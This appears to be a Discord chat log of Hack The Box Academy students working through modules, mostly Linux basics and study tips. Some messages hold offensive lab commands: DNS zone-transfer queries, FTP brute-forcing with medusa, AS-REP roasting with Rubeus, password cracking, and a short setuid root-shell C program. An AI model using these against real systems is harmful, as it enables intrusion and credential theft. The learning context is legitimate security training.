#modules

1 messages ยท Page 167 of 1

dire abyss
#

i think ill rest my brain for today, this module is difficult

terse sedge
#

Cracking Passwords with Hashcat

dire abyss
#

i think the next best route for me to upload a zip to a win machine will be to use webdav however the write for it in HTB is really confusing for me

next bronze
#

the module would have taught smb transfers, which will be apporate for windows, http also works

brisk gull
#

desktop is spelled wrong. and that will only work if your current dir has the desktop folder in it.

#

i guess this is only a useful comment if you copy/pasted..

#

๐Ÿ™‚ hope you figure it out!

dire abyss
#

it wasnt a copy/paste just a typo here

brisk gull
#

oh! @dire abyss for some reason i could never get scp to work from powershell.. in the instances ive had to use it on a windows OS .. ive always had to pop open an admin CMD prompt

dire abyss
#

i think im making it harder than it really is

brisk gull
#

try cmd

#

i was an admin for a 200k host enterprise . moving files from test machines to linux servers using scp ... cmd worked ... PS didnt

#

idk why

fathom pendant
#

(P)iece of (S)hit

brisk gull
#

Hah

dire abyss
#

im sure the problem with SCP here is that port 22 is closed and openssh isnt active on the machine

brisk gull
#

nah

brisk gull
#

ive used 21 and 23 before with scp

fathom pendant
brisk gull
#

ahh ... openssh ..

dire abyss
#

yeah

brisk gull
#

yeah

fathom pendant
#

Is the other key part of that phrase LMAO

brisk gull
#

i literally quick scanned " im sure ... problem ... port 22..."

dire abyss
#

this one is pure pain for me lol

brisk gull
#

i believe it!

fathom pendant
thorn urchin
#

yeah like was said earlier. you cant have a tool magically work if the service it uses isnt running

fathom pendant
#

But try other file transfer methods

thorn urchin
#

thats computers 101

brisk gull
#

bu bu but... c0mpu70r5 do what i say they do...

rustic sage
#

whys my vmware machine have no internet

dire abyss
#

because thats cheating lol

rustic sage
#

huh

#

the network connection was working up until today?

#

i need internet to connect to htb?

dire abyss
#

oh nvm i thought you were talking about the module i was on

rustic sage
#

oh no my shits just wonky

#

thats a good sign you could use a nap though

cyan belfry
#

How would I find the name of a hidden file within directory. Tried -ls, -ls -la

cyan belfry
#

Tried that

#

but it shows 32 but not sure how to see the rest, only see 8 at a time

fathom pendant
#

You might be able to pipe it to less

#

What question and module are you working on?

cyan belfry
#

What is the name of the hidden "history" file in the htb-user's home directory?
What is the index number of the "sudoers" file in the "/etc" directory?

fathom pendant
#

Step1: make sure you're ssh into the target
Also with ls you can specify a file with ls

cyan belfry
#

I tried -ls /history

fathom pendant
#

Nope

#

"Htb-user's home directory"

cyan belfry
#

I first tried

cd /home/htb-student

fathom pendant
#

You don't need to specify anything if you're in the home (~)

cyan belfry
#

oh

fathom pendant
#

ls -la from the htb-student home directory will give you the answer

#

For the second question "index" is the keyword- man ls and look for "index" and use that flag

#

ls [flag] /etc/sudoers

cyan belfry
#

cant get the first one lol

fathom pendant
#

Then let me ask you: are you connected to the target 10.129.x.x

cyan belfry
#

I get
.
..
bash_history
bash_logout
Bashrc
cache
gnupg
profile

fathom pendant
cyan belfry
#

I thought cache or gnupg

#

but I entered both

thorn urchin
#

youre looking for the history file

fathom pendant
#

(You need to put the . In front of it)

#

^

#

Reading the question is also helpful

cyan belfry
#

I forgot the dot -_-

#

really.

fathom pendant
#

The . in filesystems indicates that it's "hidden"

brisk gull
#
ls -a

will reveal hidden files
maybe its a?
i use ll alias so i forget .. but essentially ls -lah will give you all good infos

fathom pendant
cyan belfry
#

but the ls sudoers /etc just shows a large list of files

fathom pendant
#

ls /etc/sudoers

#

But that's not gonna give you the answer

#

You need a tag with it to tell you the index

#

Time to rtfm man ls

ocean night
#

ls <path> <path> <path> <path> ls can list multiple paths

fathom pendant
#

man is a linux command that opens a "manual" for a command

brisk gull
fathom pendant
#

List all the things

brisk gull
#

-R is one of my fav ls flags.

cyan belfry
#

nothing in the list talks about "index"

fathom pendant
brisk gull
#

ll -R /home/ | grep <for what ever you think you are looking for>

fathom pendant
#

One of the flags lists the index number

fathom pendant
cyan belfry
#

--inode?

fathom pendant
brisk gull
#

in a nerdy way

fathom pendant
#

There's also a shorthand

ocean night
fathom pendant
cyan belfry
#

ls --inode /etc/sudoers/

Not a directory

fathom pendant
cyan belfry
#

ahhh

brisk gull
#

theres no sub directories within the sudoers file

fathom pendant
#

A / tells ls that you're continuing the directory chain

cyan belfry
#

Thank you, I suppose I will use the "man" command more often, sorry about this simple question. I appreciate the time to help me!

fathom pendant
#

It's alright

brisk gull
#

i love seeing the questions and the helpfulness

#

dont be sorry for asking questions!!

fathom pendant
#

As you can see we were guiding you to get the answer yourself

#

Not just "here's the answer, don't ask how I figured it out"

#

Leading a horse to water methodology... or maybe teach a man to fish

cyan belfry
#

And I appreciate that, It makes me still think, and figure it out. Teaching me rather than just telling me the answer and moving on. I love the support!

fathom pendant
#

When in doubt man It out

brisk gull
#

now ... what to do when a man page doesnt exist ...

fathom pendant
#

no manual entry for this command

brisk gull
fathom pendant
cyan belfry
#

Definately, I am also taking notes with a software called "Notion" trying to write down anything I am missing or might want to know later

fathom pendant
#

I prefer obsidian

ocean night
fathom pendant
#

It uses markdown, and you can backlink documents to each other

brisk gull
#

I looked at obsidian .. I am just using Gitlab

fathom pendant
brisk gull
#

yee

#

one day ill port my junk into obsidian

cyan belfry
#

I actually like obsidian

brisk gull
#

Heres my note taking script ...

cyan belfry
#

might aswell transfer now rather than later lol

brisk gull
#
#!/bin/bash

DATE=$(date +"%F")

#auto update git at every invocation
target_directory="/home/_rivace/Documents/vscode/Internal/"
original_directory=$(pwd)

cd $target_directory || exit

current_timestamp=$(date +"%H:%M")

commit_message="latest commit on timestamp ${current_timestamp}"

git add .

git commit -m "commit_message"

git push

code /home/_rivace/Documents/vscode/Internal/Stardate/Stardate-$DATE.md

cd $original_directory

fathom pendant
brisk gull
fathom pendant
#

:^)

brisk gull
#

and it auto pops a current date page for you to start fresh each turn of the date

#

invoking a second time same day just " saves progress"

fathom pendant
#

I'd love to see your code projects if that's how you do notes

brisk gull
#

afaik .. only works if commiting as main

fathom pendant
#

Documentation must be smooth

brisk gull
#

working on it.. im a hard-starter ..

fathom pendant
#

I need to commit my python projects from automate the boring stuff there

brisk gull
#

i usually am more motivated to code when i have a problem to solve ..

cyan belfry
#

Anyone have tips of how to stay consistent at jumping on HTB everyday and learning more and more?

brisk gull
#

in that case i needed a "journal "

fathom pendant
#

And include a requirements for some of them

#

Like pyperclip

brisk gull
#

and .. thus the stardate note script was born

fathom pendant
#

I love fucking up while I learn

brisk gull
#

hahah

fathom pendant
#

If I fuck up while learning, less likely to do it outside that context

cyan belfry
#

I really want to learn more and know more about everything to do with tech. Sometimes I feel "Burnt out" after working 55 hours a week and then full time school on top of that

brisk gull
#

i think that might be what im missing ...

ill think about a problem .. and think about it .. and iterate in my head ( mental space ) ... and i find it hard to execute until i identify the path to a possible success ...

cyan belfry
#

But I really want to become the best I can and do more than just the average person

fathom pendant
ocean night
#

The less you compare yourself to others, the better you can focus on yourself.

thorn urchin
#

I like to do a little comparison as a motivation to push further

fathom pendant
cyan belfry
#

I agree, Thats why I just try to keep going without comparing myself to others. Because the more time you spend comparing youself, the more you lose focus on what really you want

fathom pendant
#

Compare yourself to how you were a year ago, do that once a month and by next year - you can laugh about not knowing the basics yet

cyan belfry
#

Thank you again for everything I appreciate it all. I guess now onto the next challenge!

brisk gull
#

never ending challenges ... higher and higher steps to climb!

fathom pendant
#

Be willing as well to re-prioritize things

#

Shmoney and education are important

#

So taking a day or two off to focus on the priorities lets the back of your mind soak in stuff you just learned

#

Also tbh learning how to learn is hard

#

Especially if you grew up in an education system that penalized asking questions (America)

#

Or questioning the authority to understand more

#

Also be willing to accept "yep, it really is that dumb"

#

A lot of the people apologizing about asking questions never had a chance to properly voice their confusion

#

Also something that's a big thing is writing notes in a way that you understand

#

If you have to reword it in a dumb way to help you understand then who cares

cyan belfry
#

When I take notes, I read the description of something and rewrite it to where I can fully understand what it does, rather than copy and paste what the page or book says

fathom pendant
#

That's good

#

Hell the first time I learned to utilize ls I broke it down as "list stuff"

#

But I'm also fairly decent at breaking down knowledge to the little details to expand on

cyan belfry
#

Thats good

fathom pendant
#

I could be entirely quiet in this channel and just go through content and only ask for help. (And that's fine) but the major reason I contribute here, is to reinforce and expand my knowledge

brisk gull
#

teaching help solidify it for yourself

fathom pendant
#

Even if it's a module I haven't done yet, and I only know some bits from what I know

brisk gull
#

i moonlight as a bootcamp instructor for cybersecurity ๐Ÿ™‚

fathom pendant
#

Like a lot of web stuff I know sweet F.A. about

thorn urchin
#

gross

#

bootcamps suck lol

fathom pendant
#

Lol

cyan belfry
#

Thats what I hope to do too once I get a bigger understanding of it all. That is what I do in my college Cyber Club. When we do CTF. I am one of the few people that understand a lot of it. So I teach and that honestly helps with what I learned because sometimes someone else has a easier way than the way I did it

fathom pendant
#

Mhm

#

I also have learned how to reword my explanations

#

I will throw in the occasional "skill issue" here or there, but it's mostly playful jabs

#

You just have to have patience, not just with the tools - but with yourself. Haste makes waste, waste makes frustration

#

"I swear I tried 'x' method and it didn't work"

cyan belfry
#

Yeah, Sometimes I step away for a minute, come back and retry with a refreshed mind

fathom pendant
#

Literally me most of the time

#

The only time I'm really aggressive about it is when someone is being pedantic when it doesn't matter

#

Like 99% of the userbase calls it this, so we treat it/generally refer to as this

#

A lot of common convention is convenience

cyan belfry
#

Yeah True

fathom pendant
#

Why is http(s) 80(443)? Who the fuck knows at this point: everyone uses it now

cyan belfry
#

Just used that man command lol. Helped me out to figure out how to sort the files as last modified

#

Golden star please ๐Ÿ˜‚

brisk gull
fathom pendant
cyan belfry
#

๐Ÿ˜‚ For now I am glad its helpful

rustic sage
#

guys where do i ask for linux support

thorn urchin
fathom pendant
cyan belfry
#

My buddy at work is doing cybersecurity bootcamps and he doesn't even know how a switch works or VLANS lol

fathom pendant
#

Some OS have their own discord and forums

fathom pendant
cyan belfry
#

True but that was the easiest way of me explaining the level of how Tech savy he is. I know Cyber is not just a Switch. I just didn't have a example on top of my head

fathom pendant
#

It's also very wiiiiide

thorn urchin
#

I vaguely know how a switch works conceptually

brisk gull
swift forge
#

Anyone familiar with the MSSQL page of footprinting? Having trouble finding the hostname using nmap

south glen
#

Hey can anyone help me with the password attack hard lab ... I just need a nudge about what word list to use at this point I used up rockyou.txt mut_pass.list made from custom rule and also password.list given in resources for the user johanna for initial foothold

brisk gull
cyan belfry
#

Will do!

#

I think I am missing something but not sure

What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?

I typed - find / -type f -name *.conf -size -28k -size +25k -newermt 2020-03-03

brisk gull
#

hmmm

cyan belfry
#

would the locate command be better for this?

fathom pendant
#

No, find is fine

brisk gull
#

i know you can sort by file size... id do that and just eyeball it .. but i like to make it difficult for myself

cyan belfry
rustic sage
#

ahh

fathom pendant
#

2>/dev/null

rustic sage
#

look for something to filter those in the module :)

#

or just type what marcie said

fathom pendant
#

There is a section that goes over it

swift forge
#

Anyone know why my nmap scripts are all reporting errors?

rustic sage
#

yeah but i js checked and 2>/dev/null is in the module and its good for him to learn how to find solutions himself

cyan belfry
#

Everything else was right

swift forge
#

Trying to run --script ms-sql-info but I'm getting "ERROR: Script execution failed", anyone have any thoughts?

prisma spruce
#

The script failed to execute.

cyan belfry
#

Except that, and I didnt add that since it didn't really explain it in this section, it stated will be learning more about what this done in the future

fathom pendant
#

Yeah a lot of the sections in linux Fundamentals are out of order

rustic sage
fathom pendant
#

Or at least not as clear as they could be

fathom pendant
fathom pendant
#

It might not be in a section they've already done

rustic sage
#

yeaahh but it says that it ensures no errors are in output

#

thats the section with the question he asked

fathom pendant
#

Ahhh ok

rustic sage
#

i opened it jn

fathom pendant
#

Then yeah

#

2> redirects stderr

rustic sage
#

2 is the number for errors, the rest just redirects it to a place that basically gets rid of it

fathom pendant
#

You can actually output it to a file like error.txt and it'll do just the same

rustic sage
#

thats all he needs to understand rn

#

sorry marcie i know u understand more than me

#

refreshing my memory is all

fathom pendant
#

Nah you're good

brisk gull
rustic sage
#

should i just make a new vm for the internet issue?

fathom pendant
brisk gull
#

ah ok

fathom pendant
#

Stderr and stdout are the common ones

#

(By default any redirect is stdout)

cyan belfry
#

I've been doing this question and realized I was in the wrong directory the whole time lol

#

the small things sometimes

fathom pendant
fathom pendant
swift forge
#

@fathom pendant any thoughts on issue I'm having with MSSQL enumeration? You were able to help me yesterday (which I forgot to thank you cause I was cranky, thank you again)

rustic sage
swift forge
brisk gull
fathom pendant
cyan belfry
#

So I am doing the full path of the xxd binary, I know this is not the right command but I am not sure what the extension would be for a file like that.

find / -type f -name *xxd 2>/dev/null

swift forge
fathom pendant
#

Could be a version issue or something ik some versions Nmap scripts borked

lilac osprey
#

Use GET request '/index.php?id=0' to search for the name of the user with id number 1?

brisk gull
#

-sC ?

lilac osprey
#

How would I aproach this where would I put the Get request?

brisk gull
#

be in a REST API env in the server

rustic sage
#

no *.

lilac osprey
#

?

brisk gull
#

ftp is a common one

cyan belfry
fathom pendant
#

Get request ip/index.php?id=1

rustic sage
lilac osprey
#

GET request 'IP/index.php?id=0' So something like this in the broswer URL?

fathom pendant
#

How does it show you in the section?

lilac osprey
#

Use GET request '/index.php?id=0' to search for the name of the user with id number 1?

#

This is the question

#

I have the target ip

cyan belfry
brisk gull
#

that will give you the bin or sbin where the binaries of the package are located

rustic sage
cyan belfry
rustic sage
#

good job !!

cyan belfry
#

Thank you!

fathom pendant
fathom pendant
#

Module numbers mean nothing to me

lilac osprey
#

I figured it out xD

fathom pendant
#

The actual name helps

#

๐Ÿ˜„

#

Yep

lilac osprey
#

I did this and it worked gave me the answer

fathom pendant
#

That sounds right at least for a standard web request

#

Those are generally get

#

Before asking "is it x", you should try it

#

That way you can say "I tried x and that didn't work"

prisma spruce
fathom pendant
#

๐Ÿ—ฟ

fathom pendant
prisma spruce
fathom pendant
#

Skill issue

south glen
fathom pendant
#

Should be able to with mut_passwords you might need to add --local-auth

#

Or whatever it is in hydra/cme

south glen
#

then why did you yesterday showed me the way towards generic wordlist ??

fathom pendant
#

memory on exact details is fuzzy my guy ยฏ_(ใƒ„)_/ยฏ

#

I haven't touched it in ages

sharp nexus
#

This whole HTB thing is a lot more structured than TryHackMe...

#

Seems a bit more professional too

quick cloud
#

I agree

fathom pendant
#

That's kinda the point

#

The authors are well known people in the field that have broken them down in a structured way

supple gorge
#

On the gold annual subscription blog post by HTB

One exam voucher, worth $318 if purchased separately and providing two attempts.

Does this mean that's the price for the new voucher. Or does it mean that vouchers are going up in price?

#

If they're going up I'd want to buy them before that

misty current
prisma spruce
#

Imagine getting gold annual for the lower level certs lol.

sly dome
#

morning!

shut wraith
#

what is the CWEE?

sly dome
#

new cert

#

advanced web, black box

pallid sedge
#

Hi. Can anyone help me with a doubt in the privesc part of the Getting Started module?

pallid sedge
#

DM?

sly dome
#

no

#

here

pallid sedge
#

I got read access to the ssh key but I couldn't understand how since the permissions show root:root for id_rsa. Is it because of the other part of permissions?

misty current
pallid sedge
sly dome
#

remember owner-group-others

#

rwx-rwx-rwx

#

sometimes I want those easy permissions on Windows kek im working with InTune and its so fkn difficult

#

@slender shoal RBAC with InTune is not easy !

pallid sedge
#

Very afraid of touching windows haha. Really hate that it is not as transparent to understand

sly dome
pallid sedge
#

necessary evilsadglas

tall saffron
#

There will be a senior advanced web cert after ? I Ask because it miss openID in the oauth section, or the csrf... And an intro to nosql for a senior web pentester xD

slender shoal
#

UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK
Introduction to Splunk & SPL
https://academy.hackthebox.com/module/218/section/2356

Question 3:
Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all 4624 events the account name that made the most login attempts within a span of 10 minutes. Enter it as your answer.

I got the correct answer, but I'm not really understanding what I'm missing here. I see that the hint mentions ||to use the "range() function"|| However, I'm not getting the correct results. My answer still shows the wrong user with the number of login attempts within the span of 10minutes. I think my issue is that I'm not using the ||range|| function, but I'm not really tracking on how to use it.

sly dome
#

anyone has done this ? I think i am in the right track but it is not working.
EDIT: solved, i hate when some attacks take so long

quasi jungle
vivid igloo
#

ayo anyone done with password attack module am kind a stuck in Credential Hunting in Windows

tranquil axle
vivid igloo
#

so any idead how to find this pass ?

slender shoal
vivid igloo
fathom pendant
#

there's a couple different things you CAN try

slender shoal
#

DM me?

vivid igloo
tranquil axle
#

Range really is just the max value minus the min value of a aggregated group

slender shoal
#

Right.

vivid igloo
fathom pendant
#

instead of just asking do

fathom pendant
#

i don't recall it being that difficult

#

i just kinda mostly did what the section showed

vivid igloo
#

it is not tbh

fathom pendant
#

sorry i thought you were the person asking something else

vivid igloo
#

np

vivid igloo
fathom pendant
#

that things you CAN try was aimed at the person asking about logging in with kira

#

idk man i haven't done this module in a minute so can't help ya too much

#

like I said it wasn't particularly hard i think i just looked around and found something

candid lily
#

idk what format it expects

slender shoal
#

Dont post spoilers. ๐Ÿ™‚

candid lily
solar pecan
#

Hey guys any tips regarding file tranfer module " Download the file flag.txt from the web root using wget from the Pwnbox. Submit the contents of the file as your answer."

candid lily
#

maybe host a python webserver
edit: i think to download "FROM" pwnbox, you can just use wget url to download

slender shoal
#

and what have you tried?

candid lily
#

i think i know the url but it doesnt accept it

#

i did all other ones and got revshell

slender shoal
#

Whats the module and section

candid lily
#

attacking common applications skills assessment 2

slender shoal
#

You can DM me.

placid edge
#

Hey there. I am very stuck on a module. The rest is fine, but the dns one is killing me. I am stuck on the following question: Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.

This is the module Attacking Common Services | DNS

#

anyone that could give me a hand here?

candid lily
#

dig for ever

placid edge
#

i understand that. But i cant seem to get it

fathom pendant
candid lily
#

hint: you need to axfr transfer from one of the servers

fathom pendant
#

you can still query doing dig axfr subdomain.inlanefreight.htb @ip

placid edge
#
โ””โ”€$ dig ns @10.129.148.222 inlanefreight.htb                  

; <<>> DiG 9.19.17-2~kali1-Kali <<>> ns @10.129.148.222 inlanefreight.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43430
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3d0b0db70d6abfac010000006583ec252832d4d4a79ade84 (good)
;; QUESTION SECTION:
;inlanefreight.htb.        IN    NS

;; ANSWER SECTION:
inlanefreight.htb.    604800    IN    NS    ns.inlanefreight.htb.

;; ADDITIONAL SECTION:
ns.inlanefreight.htb.    604800    IN    A    127.0.0.1

;; Query time: 104 msec
;; SERVER: 10.129.148.222#53(10.129.148.222) (UDP)
;; WHEN: Thu Dec 21 02:41:24 EST 2023
;; MSG SIZE  rcvd: 107
#

this right?

ns.inlanefreight.htb. 604800 IN A 127.0.0.1

candid lily
#

bruteforce using subbrute then you will find something

fathom pendant
#

i specifically said axfr for a reason

#

nah subbrute isn't needed for this question

candid lily
#

idk thats how i did it

fathom pendant
#

that might be how you did it

#

but it's not needed for this question

candid lily
#

okay

placid edge
#

yes, but i've tried axfr on all the subdomains i've found using subbrute and it shows the same response

#
โ””โ”€$ dig axfr @10.129.148.222 inlanefreight.htb

; <<>> DiG 9.19.17-2~kali1-Kali <<>> axfr @10.129.148.222 inlanefreight.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
fathom pendant
#

that's odd

#

oh wait yeah you do need subbrute i was thinking a different module

candid lily
#

bruh

fathom pendant
#

even the hint points at it

placid edge
#

can i dm? i dont want to post the subdomains i've found related to a module

fathom pendant
#

no

candid lily
#

i hate rdp

#

its soooo laggy

fathom pendant
#

once you find the subdomains it lists all you need to do is dig txt subdomain.inlanefreight.htb @ip iirc (you might need to do axfr)

candid lily
#

dm me if you are still stuck after trying

placid edge
#

tried so far all the subdomains i found with the following dig command: dig txt inlanefreight.htb @10.129.148.222

I dont really see anything interesting that is in the output.

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: cf63705f9e5069fc010000006583efb2bd92ce9a8505a86f (good)
;; QUESTION SECTION:
;inlanefreight.htb.        IN    TXT

;; AUTHORITY SECTION:
inlanefreight.htb.    604800    IN    SOA    inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800

;; Query time: 95 msec
;; SERVER: 10.129.148.222#53(10.129.148.222) (UDP)
;; WHEN: Thu Dec 21 02:56:34 EST 2023
;; MSG SIZE  rcvd: 115
quasi jungle
fathom pendant
quasi jungle
fathom pendant
#

weird

placid edge
#

check the documents folder

#

in ssh

#

there is a file there

fathom pendant
#

ssh also works

placid edge
#

@quasi jungle

fathom pendant
#

:P

fathom pendant
#

you do need to specify subdomain

#

otherwise all you've done is just query inlanefreight.htb a bunch

#

and not changing anything

#

i.e. www. or internal. or dev.

#

(note that may not be the actual subdomain for the answer, just an example)

civic zenith
#

Hey @fathom pendant I am just curious, do you plan on ever getting any of the certs?

fathom pendant
#

gotta get that back on track prior to anything else atm

civic zenith
#

ah ok

shell ore
#

hi, anyone here done the password attacks module?

placid edge
#

tried all the subdomains i found

fathom pendant
#

then you missed one iirc it's two letters

placid edge
#

the resolver is correct right? The one i am using on subbrute? ns.inlanefreight.htb

compact jacinth
#

hi I need help. I have been stuck in this for over a week. I doing the LINUX PRIVILEGE ESCALATION Logrotate. Everywhere i look it says that im supposed to use the ./logrotten to rotate it but it says that i dont havae logrotten on the machine and i cant clone it from github without sudo so i can really do anything here help!

shell ore
#

i have a small question about the linux credentials hunting in the password attacks module

#

the hint is wayyyy too far from the subject

#

like it feels undoable without the hint or requires A LOT of brute forcing

fathom pendant
#

since by this point you should realize the linux boxes are all the same you can do some enumeration on the previous excersize to limit your users to those in /home/

#

well that

shell ore
#

i already did the question

#

but like abt the hint

fathom pendant
#

he's referring to the fact that the user in question that you get the info with is unknown without a nudge

shell ore
#

but not much ๐Ÿ˜‚

fathom pendant
#

the linux boxes are all connected/the same in the password attacks module

shell ore
#

but i wasnt convinced that why would they place the SAME box

fathom pendant
#

because ease of learning

shell ore
fathom pendant
#

(you should save kira's pw btw)

shell ore
fathom pendant
#

good

#

same thing with the windows instances

#

those are all linked

shell ore
#

also did ๐Ÿ˜‚

fathom pendant
#

the only ones that aren't linked (obviously) are the skill assessment labs

shell ore
shell ore
#

thanks for the help

fathom pendant
#

it would lead to increased frustration if they made all the labs in the module completely different

#

when the purpose is to showcase password attacks and cracking

#

patience

#

ยฏ_(ใƒ„)_/ยฏ

#

nice scam bro

#

<@&861185840277487616>

compact jacinth
#

hi I need help. I have been stuck in this for over a week. I doing the LINUX PRIVILEGE ESCALATION Logrotate. Everywhere i look it says that im supposed to use the ./logrotten to rotate it but it says that i dont havae logrotten on the machine and i cant clone it from github without sudo so i can really do anything here help!

fathom pendant
#

step 1: download logrotten to your attack machine
step 2: transfer to target system

ruby ginkgo
#

Module name Password attacks
Section name :Pass the Ticket (PtT) from Linux
Question : Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio im getting this error after exporting and running klist command : klist: No credentials cache found (filename: /root/krb5cc_647401106_yFQuNx)

quasi jungle
#

Trying to crack a hash for a zip file but john shows 0g but it isn't the correct password

fathom pendant
#

that output from john shows that it's exhausted

#

try using the mutated wordlist

ruby ginkgo
fathom pendant
#

there's 2 ccache files for the user; one IS expired the other ISN'T

#

just because you change the directory it's in doesn't change it's expiration: that's on a different thing

compact jacinth
fathom pendant
placid edge
#

i found the flag now

placid edge
#

i thaught the resolver was the ns record

fathom pendant
placid edge
#

thank you!

fathom pendant
#

as .htb isn't a valid tld

#

it's not on any public DNS servers for it to query and ask

placid edge
#

is there a way to check if zone transfers is possible? When not specifying the axfr in dig?

fathom pendant
#

not really

#

zone transfer is kinda a "eh maybe it'll work" type deal

placid edge
#

ah alr

#

thank you for the help ๐Ÿ™‚

fathom pendant
#

i mean what you can do instead of using subbrute is take the names list and do a for loop

#

that iterates through each until you get the right response

#

but THAT is a pain in the ass

#

:)

ruby ginkgo
#

i dont what this error means : gensec_spnego_client_negTokenInit_step: gse_krb5: creating NEG_TOKEN_INIT for cifs/dc01 failed (next[(null)]): NT_STATUS_INVALID_PARAMETER
session setup failed: NT_STATUS_INVALID_PARAMETER
i exported ccahe and i verfied it using klist now when i try to acces dc01 using smbclient i get this

fathom pendant
#

nt status invalid parameter - means that one of the things in the token is bad

#

ยฏ_(ใƒ„)_/ยฏ

ruby ginkgo
#

opps

fathom pendant
#

googling seems to result in it's a version issue maybe

#

try specifying the smb version?

ruby ginkgo
#

nah the ticket expired thats the iusse thanks anyways i sort it out

fathom pendant
#

๐Ÿ‘

next bronze
#

<@&861185840277487616>

compact jacinth
#

hi im doing the LINUX PRIVILEGE ESCALATION Logrotate still and i have transfered logrotten to the machine. but when i create the payload and then just echo something in the access.log i create a new one ofc but when i add the payload i dont the the ncat connection back i dont get it

#

help

ruby ginkgo
# fathom pendant ๐Ÿ‘

root@linux01:/home#|| kinit linux01@INLANEFREIGHT.HTB -k -t /var/lib/sss/db/ccache_INLANEFREIGHT.HTB||
kinit: Pre-authentication failed: Unsupported key table format version number while getting initial credentials. can i get any hint on this ?

tender lake
#

Has anyone done the Enterprise Network module in the last while? I'm trying to Escalate my Privileges the exact same way as the section says but I never get the shell on the netcat listener running on MS01.

haughty void
#

Module name: PASSWORD ATTACKS
Section: Attacking LSASS
Question: Apply the concepts taught in this section to obtain the password to the Vendor user account on the target. Submit the clear-text password as the answer. (Format: Case sensitive)

I found the right password hash, but I can't decrypt it, I used all the dictionaries I had (sorry for the mistakes in the text, I used a translator).

next bronze
#

might want to use rockyou for that, your wordlist seems quite short

haughty void
ruby ginkgo
next bronze
#

oh wait it's password attacks, yes use the mutated list

haughty void
ruby ginkgo
#

yep 94k list

ruby ginkgo
haughty void
next bronze
#

the hash is right, the mutated list should do it

haughty void
#

doesn't work

ruby ginkgo
#

then hash might be wrong

next bronze
#

no the hash is right, but the pass is not in the mutated list

#

ah okay use rockyou + onerule

haughty void
#

ok

#

It worked, thank you

tender lake
#

Can anyone assist with the SysAx PrivEsc in Attacking Enterprise Networks, I can't get it to work

next bronze
tender lake
ruby ginkgo
#

In Password Attacks Lab - Hard
i got johanna password for rdp then i found keepass i cracked it:||Qwerty7!|| but i cannot login through smbclient as dxxxx
i checked md5hash after and before encode and copying login.kdbx

tender lake
sly dome
next bronze
tender lake
rare swan
#

Module: Attack Common Apps Section:Wordpress Discovery --- Cant get the exploit working :WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution -- actually managed to do it manually but also want to use this exploit -- can someone help me to get if work?

dreamy solar
#

Hello I have a problem with exercice : Module XSS phishing

#

Can you help me plz?

rare swan
#

Actually managed it. Had some typos int the exploit -- doesnt the exploits published on exploidb get reviewed? -- just wondering?

#

Can just anybody uplaod an exploit?

zealous oyster
#

Module: Password Attacks Section: Password Mutations

I have been trying the bruteforce task for the sam users password. I've followed the instructions using the password.list file and the custom.rule included and the best64.rule which is part of hashcat. I have cut the password files down to 1k each and modified them so they only contain passwords 8-10 characters long but nothing seems to work.

It was also suggested to use ftp as its quicker than ssh for the bf but that has not returned any positive result either.

Is anyone able to please give me some guidance how to solve this?

dreamy solar
rare swan
#

@dreamy solar Did you receive creds from phishing link?

dreamy solar
#

no but I don't know why...

#

I search forum info etc... I don't find

rare swan
#

Maybe you xss payload is not correct for phishing?

#

Managed to solve it with and xss polyglot from payload all the things and adapted it accordingly

dreamy solar
#

I don't understand am I supposed to wait? I retrieved the identifiers, I followed the course tutorial, everything is correct, I don't see where it's blocking

#

When are user IDs supposed to be displayed?

#

the simple payload is succeed it is just this that not okay and 0 informations

#

I compared it with a person who had successfully completed the exercise, strangely nothing changed in my approach.

rare swan
#

why are you sure your payload is correct - guess if it would be you would get the creds

dreamy solar
#

because my colleague has the same as me and it works ^^"

rare swan
#

So your php file must be correct, otherwise you wouldnt get your own creds

rare swan
#

So then it has to be the payload

#

Did you url encode the payload?

dreamy solar
#

yes

rare swan
#

managed to solve it with following polyglot:

dreamy solar
#

I learn what is a Polyglot xss ? plz

rare swan
#

dont know exactly but some kind of tricking the application in multiple ways executing for example js

#

or in term of programming a payload which can be interpreted by multiple languages at the sam time

#

but im not sure if its supposed to be solved this way -- nevertheless it worked

dreamy solar
#

oki thanks I test

compact jacinth
#

Hi im on the module linux privalge escaluation and i am on Miscellaneous Techniques. I succeed with transfering it and giving the shell.c the right uid but when i exacute it i dont become root. i wrote this in the shell.c "#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}"

#

it also says "-rwsr-xr-x 1 backupsvc logger 20184 Dec 21 15:41 shell"

thin roost
#

in module: broken authentication predictable reset token question1, can someone give me a nudge, look at my code? OMG nevermind i got it...tnx for not answering me yet lol

languid wharf
#

Im in attacking common services module -> attacking ftp section, on the second question of the exercise here. ||I connected annonymously to the ftp, got the pass and user list and try to brute force it using medusa. It has 11 potential users and 250 passwords. It is taking ages to brute force it, because the ftp has some login lag (even though I'm trying from pwnbox). The command I run: medusa -h $IP -U users.list -P passwords.list -M ftp -n2121|| Is there any way to speed it up?

bright quiver
#

I am working on the ad enumeration skill assessment 1 - i uploaded rubeus to the webshell, but how can i run it if i cannot cd to that directory? I am trying to get the password for the ||svc_sql|| user

#

I am trying to run this ||.\Rubeus.exe asreproast /user:svc_sql /nowrap /format:hashcat||

next bronze
next bronze
languid wharf
next bronze
#

if the section is about ftp shouldn't you brute ftp

chilly cosmos
#

Hello, I would like to know if i do something wrong because should i see the flag.

#

introduction windows command line - Skills assessment

bright quiver
#

@next bronze I tried to cd in the web here /uploads/antak.aspx, but it just stays in current directory

next bronze
#

use absolute path

next bronze
chilly cosmos
#

@next bronze this is the name of the file 0 flag.txt

next bronze
#

